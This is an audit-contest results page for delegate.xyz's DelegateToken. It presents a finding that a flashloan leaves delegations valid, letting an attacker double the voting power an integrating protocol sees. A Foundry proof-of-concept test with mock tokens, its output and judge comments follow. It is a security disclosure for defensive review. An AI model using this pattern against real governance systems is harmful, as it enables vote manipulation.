Delegate - lodelux's results

Securing onchain identities by linking cold and hot wallets

General Information

Platform: Code4rena

Start Date: 05/09/2023

Pot Size: $50,000 USDC

Total HM: 2

Participants: 16

Period: 6 days

Judge: GalloDaSballo

Total Solo HM: 2

Id: 284

League: ETH

Delegate

Findings Distribution

Researcher Performance

Rank: 14/16

Findings: 1

Award: $40.13

QA:
grade-b

🌟 Selected for report: 0

πŸš€ Solo Findings: 0

Findings Information

🌟 Selected for report: DadeKuma

Also found by: Brenzee, Fulum, gkrastenov, kodyvim, ladboy233, lodelux, lsaudit, p0wd3r, sces60107

Labels

bug
disagree with severity
downgraded by judge
grade-b
QA (Quality Assurance)
sponsor acknowledged
edited-by-warden
Q-10

Awards

40.1294 USDC - $40.13

External Links

Lines of code

https://github.com/code-423n4/2023-09-delegate/blob/a6dbac8068760ee4fc5bababb57e3fe79e5eeb2e/src/DelegateToken.sol#L398-L408

Vulnerability details

Impact

an attacker can show up as having double the amount of ERC20/ERC1155 to an application that relies on delegate.xyz delegates + wallet balance. This can be a critical problem for many type of systems, for example a governance protocol that allows users to delegate their gov Token through delegate.xyz and to determine the voting power of a specific user it will count the gov tokens in his wallet + all the tokens delegated. Notice also that this exploit can not be mitigated from the application that integrates with delegate.xyz as there is no way for an external contract to determine if a specific user's wallet balance is coming from a flashloan or not, thus this should be categorized as a fundamental flaw of the protocol.

Details

the exploit is possible because during a flashloan, the delegation is still considered valid so an attacker can effectively "double spend" his delegation.

Proof of Concept

as a PoC I will expand the previous example of a governance protocol, to run it you can place this in the /test/DelegateToken.t.sol test.

   import "forge-std/console.sol";
   import {IDelegateFlashloan} from "src/interfaces/IDelegateFlashloan.sol";
   import {IDelegateRegistry as IDelegateRegistry} from "lib/delegate-registry/src/IDelegateRegistry.sol";
    
    //......


    function testExploit20() public {
        address tokenOwner = makeAddr("tokenOwner");
        address exploiter = address(this);
        uint256 amount = 100;

        mockERC20.mint(tokenOwner, amount);
        // this next mint simulates the fact that DelegationToken will have other tokens in its balance due to other people also depositing in the escrow
        mockERC20.mint(address(dt), amount);
        vm.prank(tokenOwner);
        mockERC20.approve(address(dt), amount);
        

        vm.prank(tokenOwner);
        uint256 delegateID1 = dt.create(
            DelegateTokenStructs.DelegateInfo(tokenOwner, IDelegateRegistry.DelegationType.ERC20, exploiter, amount, address(mockERC20), 0, "", block.timestamp + 10 days), SALT
        );

        console.log("voting power BEFORE flashloan: %s", governanceCheckVotingPower(exploiter));
        dt.flashloan(DelegateTokenStructs.FlashInfo(exploiter, exploiter, IDelegateRegistry.DelegationType.ERC20, address(mockERC20), 0, amount, ""));
    }

    

    function onFlashloan(address initiator, DelegateTokenStructs.FlashInfo calldata flashInfo) external payable returns (bytes32) {
        
        address exploiter = address(this);
        uint256 votingPower = governanceCheckVotingPower(exploiter);
        console.log("voting power AFTER flashloan: %s", votingPower);
        mockERC20.approve(address(dt), flashInfo.amount);
        return IDelegateFlashloan.onFlashloan.selector;
    }

// this part here simulates what an external protocol (ex. a Governance protocol) would see from the exploiter
    function governanceCheckVotingPower(address voter) public returns (uint256) {
        IDelegateRegistry.Delegation[] memory delegations = registry.getIncomingDelegations(voter);
        uint256 totalDelegateAmount = 0;
        for (uint256 i = 0; i < delegations.length; i++) {
            IDelegateRegistry.Delegation memory delegation = delegations[i];
            if (delegation.type_ == IDelegateRegistry.DelegationType.ERC20 && delegation.contract_ == address(mockERC20)) {
                if (mockERC20.balanceOf(delegation.from) < delegation.amount) {
                    continue;
                }
                totalDelegateAmount += delegation.amount;
            }
        }
        return totalDelegateAmount + mockERC20.balanceOf(voter);
    }

output:

voting power BEFORE flashloan: 100 voting power AFTER flashloan: 200

Tools Used

manual review

while a user is calling a flashloan, temporarily revoke his original delegation until the flashloan is not finished

Assessed type

Other

#0 - c4-sponsor

2023-09-20T23:12:55Z

0xfoobar (sponsor) acknowledged

#1 - 0xfoobar

2023-09-20T23:13:14Z

Noted, this is not a bug in DelegateToken but will be have to be accounted for in integrating protocols

#2 - c4-sponsor

2023-09-20T23:13:23Z

0xfoobar marked the issue as disagree with severity

#3 - c4-judge

2023-10-01T15:02:39Z

GalloDaSballo changed the severity to QA (Quality Assurance)

#4 - GalloDaSballo

2023-10-01T15:03:00Z

Agree with both sides, downgrading to QA Low Severity as a Gotcha

#5 - c4-judge

2023-10-02T11:52:20Z

GalloDaSballo marked the issue as grade-b

#6 - GalloDaSballo

2023-10-02T11:52:25Z

Manually awarding B as notable gotcha to integrators

AuditHub

A portfolio for auditors, a security profile for protocols, a hub for web3 security.

Built bymalatrax Β© 2024

Auditors

Browse

Contests

Browse

Get in touch

ContactTwitter